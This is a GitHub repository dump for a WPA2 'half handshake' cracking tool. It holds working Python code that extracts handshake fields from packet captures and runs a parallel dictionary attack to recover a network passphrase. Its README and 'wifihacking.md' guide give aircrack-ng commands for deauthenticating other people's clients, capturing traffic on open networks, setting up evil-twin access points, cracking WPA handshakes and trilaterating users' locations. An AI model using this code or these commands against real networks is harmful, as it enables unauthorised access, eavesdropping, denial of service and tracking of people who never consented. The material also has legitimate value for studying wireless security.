├── LICENSE ├── README.md ├── cracker.py ├── dictionary.txt ├── halfHandshake.py ├── pcapParser.py ├── sampleHalfHandshake.cap ├── setup.py └── wifihacking.md /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2015 Dylan Ayrey 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # WPA2-HalfHandshake-Crack 2 | Conventional WPA2 attacks work by listening for a handshake between client and Access Point. This full fourway handshake is then used in a dictonary attack. This tool is a Proof of Concept to show it is not necessary to have the Access Point present. A person can simply listen for WPA2 probes from any client withen range, and then throw up an Access Point with that SSID. Though the authentication will fail, there is enough information in the failed handshake to run a dictionary attack against the failed handshake. 3 | 4 | For more information on general wifi hacking, see [here](https://github.com/dxa4481/WPA2-HalfHandshake-Crack/blob/master/wifihacking.md) 5 | 6 | ## Install 7 | 8 | ``` 9 | $ sudo python setup.py install 10 | ``` 11 | 12 | ## Sample use 13 | 14 | ``` 15 | $ python halfHandshake.py -r sampleHalfHandshake.cap -m 48d224f0d128 -s "no place like 127.0.0.1" 16 | ``` 17 | 18 | * **-r** Where to read input pcap file with half handshake (works with full handshakes too) 19 | * **-m** AP mac address (From the 'fake' access point that was used during the capture) 20 | * **-s** AP SSID 21 | * **-d** (optional) Where to read dictionary from 22 | 23 | ## Capturing half handshakes 24 | 25 | #### To listen for device probes the aircrack suite can be used as follows 26 | 27 | ``` 28 | sudo airmon-ng start wlan0 29 | sudo airodump-ng mon0 30 | ``` 31 | 32 | You should begin to see device probes with BSSID set as (not associated) appearing at the bottom. If WPA2 SSIDs pop up for these probes, these devices can be targeted 33 | 34 | #### Setup a WPA2 wifi network with an SSID the same as the desired device probe. The passphrase can be anything 35 | 36 | In ubuntu this can be done here 37 | 38 | http://ubuntuhandbook.org/index.php/2014/09/3-ways-create-wifi-hotspot-ubuntu/ 39 | 40 | #### Capture traffic on this interface. 41 | 42 | In linux this can be achived with TCPdump 43 | ``` 44 | sudo tcpdump -i wlan0 -s 65535 -w file.cap 45 | ``` 46 | 47 | #### (optional) Deauthenticate clients from nearby WiFi networks to increase probes 48 | 49 | If there are not enough unassociated clients, the aircrack suite can be used to deauthenticate clients off nearby networks http://www.aircrack-ng.org/doku.php?id=deauthentication 50 | -------------------------------------------------------------------------------- /cracker.py: -------------------------------------------------------------------------------- 1 | import hmac,hashlib,binascii 2 | from hashlib import sha1 3 | from binascii import a2b_hex, b2a_hex, unhexlify 4 | from pbkdf2_ctypes import pbkdf2_bin 5 | from datetime import datetime 6 | from multiprocessing import Pool, Queue, cpu_count 7 | from time import sleep 8 | 9 | numOfPs = cpu_count() 10 | 11 | def hmac4times(ptk, pke): 12 | tempPke = pke 13 | r = '' 14 | for i in range(4): 15 | r += hmac.new(ptk, pke + chr(i), sha1).digest() 16 | return r 17 | 18 | 19 | def crackProcess(ssid, clientMac, APMac, Anonce, Snonce, mic, data, passQueue, foundPassQ): 20 | pke = "Pairwise key expansion" + '\x00' + min(APMac,clientMac)+max(APMac,clientMac)+min(Anonce,Snonce)+max(Anonce,Snonce) 21 | count = 0 22 | timeA = datetime.now() 23 | while True: 24 | passPhrase = passQueue.get() 25 | pmk = pbkdf2_bin(passPhrase, ssid, 4096, 32) 26 | ptk = hmac4times(pmk,pke) 27 | if ord(data[6]) & 0b00000010 == 2: 28 | calculatedMic = hmac.new(ptk[0:16],data,sha1).digest()[0:16] 29 | else: 30 | calculatedMic = hmac.new(ptk[0:16],data).digest() 31 | if mic == calculatedMic: 32 | foundPassQ.put(passPhrase) 33 | 34 | def crack(ssid, clientMac, APMac, Anonce, Snonce, mic, data, passQueue): 35 | foundPassQ = Queue() 36 | try: 37 | timeA = datetime.now() 38 | startSize = passQueue.qsize() 39 | except: 40 | pass 41 | pool = Pool(numOfPs, crackProcess, (ssid, clientMac, APMac, Anonce, Snonce, mic, data, passQueue, foundPassQ)) 42 | while True: 43 | sleep(1) 44 | try: 45 | timeB = datetime.now() 46 | currentSize = passQueue.qsize() 47 | print str(100 - 100.0 * currentSize / startSize) + "% done. " + str((startSize - currentSize) / (timeB - timeA).total_seconds()) + " hashes per second" 48 | except: 49 | pass 50 | if foundPassQ.empty(): 51 | if passQueue.empty(): 52 | returnVal = False 53 | break 54 | else: 55 | passphrase = foundPassQ.get() 56 | returnVal = passphrase 57 | break 58 | pool.terminate() 59 | return returnVal 60 | 61 | -------------------------------------------------------------------------------- /dictionary.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dxa4481/WPA2-HalfHandshake-Crack/3f421248c9ac7b2839cf8d32bc8ee2c90f9a6e23/dictionary.txt -------------------------------------------------------------------------------- /halfHandshake.py: -------------------------------------------------------------------------------- 1 | from pcapParser import load_savefile 2 | from cracker import crack 3 | from multiprocessing import Queue 4 | 5 | 6 | def crackClients(clients, usersMac, SSID, passphraseQ): 7 | clientHandshakes = [] 8 | for client in clients: 9 | handshake = [] 10 | for message in clients[client]: 11 | if message['message'] == 1: 12 | handshake = [message] 13 | elif len(handshake) == 1: 14 | handshake.append(message) 15 | clientHandshakes.append(handshake) 16 | break 17 | else: 18 | handshake = [] 19 | for clientHandshake in clientHandshakes: 20 | if clientHandshake[0]['AP'] == usersMac: 21 | cracked = crack(SSID, clientHandshake[0]['client'], clientHandshake[0]['AP'], clientHandshake[0]['Anonce'], clientHandshake[1]['Snonce'], clientHandshake[1]['mic'], clientHandshake[1]['data'], passphraseQ) 22 | if cracked != False: 23 | return cracked 24 | return False 25 | 26 | if __name__ == "__main__": 27 | from sys import argv, exit 28 | import getopt 29 | try: 30 | opts, args = getopt.getopt(argv[1:], "r:m:s:d:") 31 | except getopt.GetoptError: 32 | print "bad args" 33 | exit(2) 34 | for opt, arg in opts: 35 | if opt == '-r': 36 | readFile = arg 37 | if opt == '-m': 38 | usersMac = arg.replace(":", "").decode('hex') 39 | if opt == '-s': 40 | SSID = arg 41 | if opt == '-d': 42 | try: 43 | f = open(arg, 'r') 44 | passphraseQ = Queue() 45 | for passphrase in f.read().split('\n'): 46 | passphraseQ.put(passphrase) 47 | f.close() 48 | except IOError: 49 | print "Error reading dictionary" 50 | exit(2) 51 | print "loading dictionary..." 52 | try: 53 | passphraseQ 54 | except: 55 | f = open('dictionary.txt', 'r') 56 | passphraseQ = Queue() 57 | for passphrase in f.read().split('\n'): 58 | passphraseQ.put(passphrase) 59 | f.close() 60 | 61 | try: 62 | usersMac 63 | SSID 64 | readFile 65 | except NameError: 66 | print "missing args, requirs: -m (AP mac address) -s (SSID) -r (PCAP filename)" 67 | exit(2) 68 | try: 69 | caps, header = load_savefile(open(readFile)) 70 | except IOError: 71 | print "Error reading file" 72 | exit(2) 73 | 74 | if header.ll_type != 1 and header.ll_type != 105: 75 | print "unsupported linklayer type, only supports ethernet and 802.11" 76 | exit(2) 77 | clients = {} 78 | if header.ll_type == 105: 79 | for packet in caps.packets: 80 | auth = packet[1].raw()[32:34] 81 | if auth == '\x88\x8e': 82 | AP = packet[1].raw()[16:22] 83 | dest = packet[1].raw()[4:10] 84 | source = packet[1].raw()[10:16] 85 | part = packet[1].raw()[39:41] 86 | relivent = True 87 | if part == '\x00\x8a': 88 | message = 1 89 | client = dest 90 | Anonce = packet[1].raw()[51:83] 91 | info = {'AP': AP, 'client': client, 'Anonce': Anonce, 'message': message} 92 | elif part == '\x01\x0a': 93 | Snonce = packet[1].raw()[51:83] 94 | client = source 95 | mic = packet[1].raw()[115:131] 96 | data = packet[1].raw()[34:115] + "\x00"*16 + packet[1].raw()[131:] 97 | message = 2 98 | info = {'AP': AP, 'data': data, 'client': client, 'Snonce': Snonce, 'mic': mic, 'message': message} 99 | else: 100 | relivent = False 101 | if relivent: 102 | if info['client'] in clients: 103 | clients[info['client']].append(info) 104 | else: 105 | clients[info['client']] = [info] 106 | else: 107 | for packet in caps.packets: 108 | auth = packet[1].raw()[12:14] 109 | if auth == '\x88\x8e': 110 | relivent = True 111 | part = packet[1].raw()[19:21] 112 | if part == '\x00\x8a': 113 | message = 1 114 | client = packet[1].raw()[0:6] 115 | AP = packet[1].raw()[6:12] 116 | Anonce = packet[1].raw()[31:63] 117 | info = {'AP': AP, 'client': client, 'Anonce': Anonce, 'message': message} 118 | elif part == '\x01\x0a': 119 | Snonce = packet[1].raw()[31:63] 120 | AP = packet[1].raw()[0:6] 121 | client = packet[1].raw()[6:12] 122 | mic = packet[1].raw()[95:111] 123 | data = packet[1].raw()[14:95] + "\x00"*16 + packet[1].raw()[111:] 124 | message = 2 125 | info = {'AP': AP, 'data': data, 'client': client, 'Snonce': Snonce, 'mic': mic, 'message': message} 126 | else: 127 | relivent = False 128 | if relivent: 129 | if info['client'] in clients: 130 | clients[info['client']].append(info) 131 | else: 132 | clients[info['client']] = [info] 133 | cracked = crackClients(clients, usersMac, SSID, passphraseQ) 134 | if cracked == False: 135 | print "Unable to find passphrase" 136 | else: 137 | print "Passphrase found! " + cracked 138 | 139 | -------------------------------------------------------------------------------- /pcapParser.py: -------------------------------------------------------------------------------- 1 | # pypcapfile.savefile.py 2 | """ 3 | Core functionality for reading and parsing libpcap savefiles. This contains 4 | the core classes pcap_packet and pcap_savefile, as well as the core function 5 | load_savefile. 6 | """ 7 | 8 | import binascii 9 | import ctypes 10 | import struct 11 | import sys 12 | 13 | import pcapfile.linklayer as linklayer 14 | 15 | from pcapfile.structs import __pcap_header__, pcap_packet 16 | 17 | VERBOSE = False 18 | 19 | 20 | def __TRACE__(msg, args=None): 21 | if VERBOSE: 22 | if args: 23 | print msg % args 24 | else: 25 | print msg 26 | 27 | 28 | class pcap_savefile(object): 29 | """ 30 | Represents a libpcap savefile. The packets member is a list of pcap_packet 31 | instances. The 'valid' member will be None for an uninitialised instance, 32 | False if the initial validation fails, or True if the instance has been 33 | successfully set up and the file has been parsed. 34 | """ 35 | def __init__(self, header, packets=None): 36 | if not packets: 37 | packets = [] 38 | self.header = header 39 | self.packets = packets 40 | self.valid = None 41 | self.byteorder = sys.byteorder 42 | 43 | if not self.__validate__(): 44 | self.valid = False 45 | else: 46 | self.valid = True 47 | 48 | assert self.valid, 'Invalid savefile.' 49 | 50 | def __validate__(self): 51 | assert __validate_header__(self.header), "Invalid header." 52 | if not __validate_header__(self.header): 53 | return False 54 | 55 | # TODO: extended validation 56 | valid_packet = lambda pkt: (pkt is not None or 57 | pkt.issubclass(ctypes.Structure)) 58 | if not 0 == len(self.packets): 59 | valid_packet = [valid_packet(pkt) for pkt in self.packets] 60 | assert False not in valid_packet, 'Invalid packets in savefile.' 61 | if False in valid_packet: 62 | return False 63 | 64 | return True 65 | 66 | def __repr__(self): 67 | string = '%s-endian capture file version %d.%d\n' 68 | string += 'snapshot length: %d\n' 69 | string += 'linklayer type: %s\nnumber of packets: %d\n' 70 | string = string % (self.header.byteorder, self.header.major, 71 | self.header.minor, self.header.snaplen, 72 | linklayer.lookup(self.header.ll_type), 73 | len(self.packets)) 74 | return string 75 | 76 | 77 | def _load_savefile_header(file_h): 78 | """ 79 | Load and validate the header of a pcap file. 80 | """ 81 | raw_savefile_header = file_h.read(24) 82 | 83 | # in case the capture file is not the same endianness as ours, we have to 84 | # use the correct byte order for the file header 85 | if raw_savefile_header[:4] == '\xa1\xb2\xc3\xd4': 86 | byte_order = 'big' 87 | unpacked = struct.unpack('>IhhIIII', raw_savefile_header) 88 | elif raw_savefile_header[:4] == '\xd4\xc3\xb2\xa1': 89 | byte_order = 'little' 90 | unpacked = struct.unpack('IIII', raw_packet_header) 185 | else: 186 | packet_header = struct.unpack(' 0: 193 | layers -= 1 194 | raw_packet = linklayer.clookup(hdrp[0].ll_type)(raw_packet_data, 195 | layers=layers) 196 | else: 197 | raw_packet = binascii.hexlify(raw_packet_data) 198 | 199 | packet = pcap_packet(hdrp, timestamp, timestamp_ms, capture_len, 200 | packet_len, raw_packet) 201 | return (raw_packet_header, packet) 202 | -------------------------------------------------------------------------------- /sampleHalfHandshake.cap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dxa4481/WPA2-HalfHandshake-Crack/3f421248c9ac7b2839cf8d32bc8ee2c90f9a6e23/sampleHalfHandshake.cap -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from setuptools import setup 2 | 3 | setup(name='WPA2-HalfHandshake-Crack', 4 | version='0.1', 5 | description='This is a POC to show it is possible to capture enough of a handshake with a user from a fake AP to crack a WPA2 network without an AP', 6 | url='https://github.com/dxa4481/WPA2-HalfHandshake-Crack', 7 | author='Dylan Ayrey', 8 | author_email='dxa4481@rit.edu', 9 | license='MIT', 10 | install_requires=['pypcapfile', 'pbkdf2_ctypes']) 11 | -------------------------------------------------------------------------------- /wifihacking.md: -------------------------------------------------------------------------------- 1 | # WiFi hacking 2 | 3 | ## Getting started 4 | For many of these examples I'll be making use of the [aircrack suite](http://www.aircrack-ng.org/) which is a tool designed for WiFi hacking. 5 | 6 | Some of these attacks require multiple WiFi devices. Your chipset may or may not have all the required built in functionality for these attacks, so I recommend buying one you know is compatible. I know the [Ralink RT3070](http://www.amazon.com/gp/product/B009UWLF62/ref=oh_aui_detailpage_o01_s00?ie=UTF8&psc=1) is completely compatible with everything in this post. 7 | 8 | Many of these attacks also require your device be put into **monitor mode** which can be done with the following aircrack command 9 | 10 | ``` bash 11 | $ airmon-ng 12 | ``` 13 | 14 | This creates a new interface (for this post it's assumed this is **mon0**) and puts it in monitor mode. 15 | 16 | 17 | There are different attacks one can perform depending on a number of factors, however these attacks generally fall into one of the following categories 18 | 19 | * **Denial of Service:** Prevent a user from using WiFi 20 | * **Content inspection:** View resources being sent to and from a user 21 | * **Content injection:** Send a user malicious content they didn't ask for 22 | 23 | Note: Sending packets (generally associated with _Content injection_ and _Denial of Service_) is a destructive process. Your device has to put out RF signals to perform these attacks, and they can be **trilaterated back to your location**. Reading packets from around you (generally associated with _Content inspection_) is a non-destructive process. It's impossible for an outside observer to know if your computer is reading packets or not, even if those packets weren't explicitly sent to your device. 24 | 25 | I'll be talking about the types of situations you can perform each type of attack. 26 | 27 | ## Deauthentication 28 | Built into the 802.11 protocol there is a deauthenticate packet. This packet is normally sent to clients from an Access Point to let the client know the connection is being terminated. It doesn't matter what type of encryption the Access Point is using; these packets look the same regardless. This means they can always be used by an attacker as a _Denial of Service_ and it's often combined with other attacks discussed later. 29 | 30 | This type of attack generally comes in two different flavors seen below 31 | 32 | * **Broadcast:** These can are sent from an Access Point to no specified destination address. Many clients will recognize this and drop connection. Below is an example from the aircrack suite to impersonate the Access Point 00:14:6C:7E:40:80 and send a broadcast deauth packet 33 | 34 | ``` bash 35 | $ aireplay-ng -0 1 -a 00:14:6C:7E:40:80 mon0 36 | ``` 37 | * **Targeted:** This is sent from an Access Point to a specific client. These are generally considered more effective, as some clients ignore the broadcasts. Below is an example of targeting client 00:0F:B5:34:30:30 impersonating the same access point as above. 38 | 39 | ```bash 40 | $ aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 mon0 41 | ``` 42 | 43 | Clients will generally attempt to reconnect after being deauthenticated, however these can be also be repeated (the 1 in the above commands can be changed to the number of repeat times desired). 44 | 45 | ## Open networks 46 | 47 | An open WiFi network is a network that does not use any type of encryption between client and Access Point. These are often found in coffee shops and other public areas. 48 | 49 | To view all the open networks in your area you can use the following aircrack command 50 | 51 | ```bash 52 | $ sudo airodump-ng --encrypt OPN mon0 53 | ``` 54 | 55 | below is a sample output 56 | 57 | ``` bash 58 | CH -1 ][ Elapsed: 3 mins ][ 2015-01-11 19:44 59 | 60 | BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 61 | 62 | 06:1D:D4:2C:ED:60 -88 9 0 0 11 54e OPN xfinitywifi 63 | 16:AB:F0:9F:DC:30 -77 2 0 0 6 54e OPN xfinitywifi 64 | 00:00:00:00:00:00 -72 11 0 0 6 54 OPN 65 | CE:03:FA:DC:2C:94 -49 3 0 0 1 54e. OPN xfinitywifi 66 | 10:5F:06:CC:36:98 -1 0 0 0 158 -1 67 | 68 | BSSID STATION PWR Rate Lost Packets Probes 69 | 70 | (not associated) 64:9A:BE:E7:FD:70 -89 0 - 1 0 1 71 | (not associated) 1C:1A:C0:99:13:FA -61 0 - 1 0 20 72 | (not associated) 8C:3A:E3:70:75:F1 -81 0 - 1 0 2 73 | ``` 74 | 75 | Above are all Access Points with open networks in range. Below the Access Points are all clients either attached to open networks or not associated. 76 | 77 | Because these access points do not require any encryption _Content inspection_ is trivial. The following command can be used to capture all traffic on an Access Point and save it to a pcap file 78 | 79 | ``` bash 80 | $ sudo airodump-ng -c 11 --bssid 06:1D:D4:2C:ED:60 -w xfinitywifi.pcap mon0 81 | ``` 82 | Where the channel (-c 11) and bssid (--bssid 06:1D:D4:2C:ED:60) are obtained from the scan above. 83 | 84 | Some traffic may be encrypted on the application layer with SSL/TLS, however anything that isn't can be viewed in plain text from this capture file. To view the plain text bits of it you can run **strings** on the file, or you can simply open the file up in [wireshark](https://www.wireshark.org/) for your viewing pleasure. 85 | 86 | Clients that are connected to open networks will probably attempt to reconnect if deauthenticated. For this reason you can setup an access point with the same SSID and send deauth packets to connected users until they connect to your access point. 87 | 88 | To setup an ad-hoc Access Point the following guide can be used for ubuntu http://ubuntuhandbook.org/index.php/2014/09/3-ways-create-wifi-hotspot-ubuntu/ 89 | 90 | Once you have users connected to your ad-hoc network you are in a position for both _Content Injection_ and _Content inspection_ 91 | 92 | ## WPA/WPA2 networks 93 | 94 | The only way to perform _content injection_ or _content inspection_ on a WPA/WPA2 network is to run a dictionary or brute force attack against the authentication handshake. This can be captured and performed locally for a quick crack if you're lucky. Repeating the process for scanning for networks in the previous section, you can scan for networks using the following 95 | 96 | ```bash 97 | $ sudo airodump-ng mon0 98 | ``` 99 | Because we didn't specify an encryption type this time it will show all available networks. 100 | 101 | Select a WPA/WPA2 network you're interested in and start capturing 102 | 103 | ``` bash 104 | $ sudo airodump-ng -c 10 --bssid 10:70:CA:BE:AB:EE -w tomsEncryptedNetwork.pcap mon0 105 | ``` 106 | 107 | When a handshake occurs it will display it along the top as seen below 108 | 109 | ```bash 110 | CH 9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 10:70:CA:BE:AB:EE 111 | 112 | BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 113 | 114 | 10:70:CA:BE:AB:EE 39 100 51 116 14 9 54 WPA2 CCMP PSK teddy 115 | 116 | BSSID STATION PWR Lost Packets Probes 117 | 118 | 10:70:CA:BE:AB:EE 00:0F:B5:FD:FB:C2 35 0 116 119 | ``` 120 | 121 | You can either wait for a handshake the slow way, or you can deauthenticate user's using above techniques and wait for them to reconnect. 122 | 123 | This handshake can now be used with aircrack to perform a dictionary attack locally. The following command can be used to do this 124 | 125 | ```bash 126 | aircrack-ng -w passwords.txt -b 10:70:CA:BE:AB:EE tomsEncryptedNetwork.pcap 127 | ``` 128 | 129 | Where password.txt is a file of newline separated likely passwords. You can obtain such a password from a number of places; [I found a few off google](https://wiki.skullsecurity.org/Passwords) 130 | 131 | With any luck this will identify the password used, and allow you to then repeat the process from the open network to throw up your own network with the same SSID and password as the encrypted network. 132 | 133 | If you capture a full handshake, and you manage to crack the password, you have all the keys necessary to decrypt WPA2 traffic. Each time a client connects new keys are generated, so the handshake is specific to that session. One way to do this is in wireshark, with the following tutorial http://wiki.wireshark.org/HowToDecrypt802.11 134 | 135 | If you know the passphrase but you did not capture the full handshake, you will probably not be able to decrypt the traffic from that dump however one thing I noticed is that the Nonces used to calculate the keys in the handshake are often very low entropy and may be predictable. 136 | 137 | ## WEP Networks 138 | 139 | I'm not going to spend too much time talking about WEP networks because they are not as common anymore. The following guide can be used to crack WEP networks http://www.aircrack-ng.org/doku.php?id=simple_wep_crack 140 | 141 | ## No network, just clients 142 | Clients will send probes asking for WiFi networks with known SSIDs. These are broadcasted out unencrypted. They can be viewed with the same WiFi network monitor command used above 143 | 144 | ```bash 145 | $ sudo airodump-ng mon0 146 | ``` 147 | 148 | You'll see more of them popping up if you begin sending deauth packets to networks that have lots of clients. 149 | 150 | If you notice a probe for a network that might be open, like 'Public Library Wifi' or something along those lines, you can throw up an ad-hoc network with that SSID and the client will probably connect to you. 151 | 152 | If the client is broadcasting a WPA2 network, you can throw up an SSID the same as the one they are looking for, even if the passphrase is wrong, and capture half of the 4 way handshake, and then use this half handshake to run a dictionary attack against the hashed passphrase the client sent you. 153 | 154 | Aircrack does not have a built in way of doing this so I wrote a tool for it seen here https://github.com/dxa4481/WPA2-HalfHandshake-Crack 155 | 156 | Once cracked, you can throw up an ad-hoc network and have the client probing for that network connect to you. 157 | 158 | ## Trilaterating clients 159 | 160 | You'll notice from the above airodump outputs, PWR is an output for each client. 161 | 162 | Recreate the airodump output with the following 163 | 164 | ```bash 165 | $ sudo airodump-ng mon0 166 | ``` 167 | 168 | Although this value is greatly interfered with by walls, people, furniture, and other signal interference obstacles, with some degree of certainty it can be used to approximate that client's location. 169 | 170 | Three wifi devices with identical hardware will be needed at a minimum, though more devices refines the location more accurately. 171 | 172 | I've been told due to interference with 3 devices this method will give you a resolution of about 20 feet. 173 | --------------------------------------------------------------------------------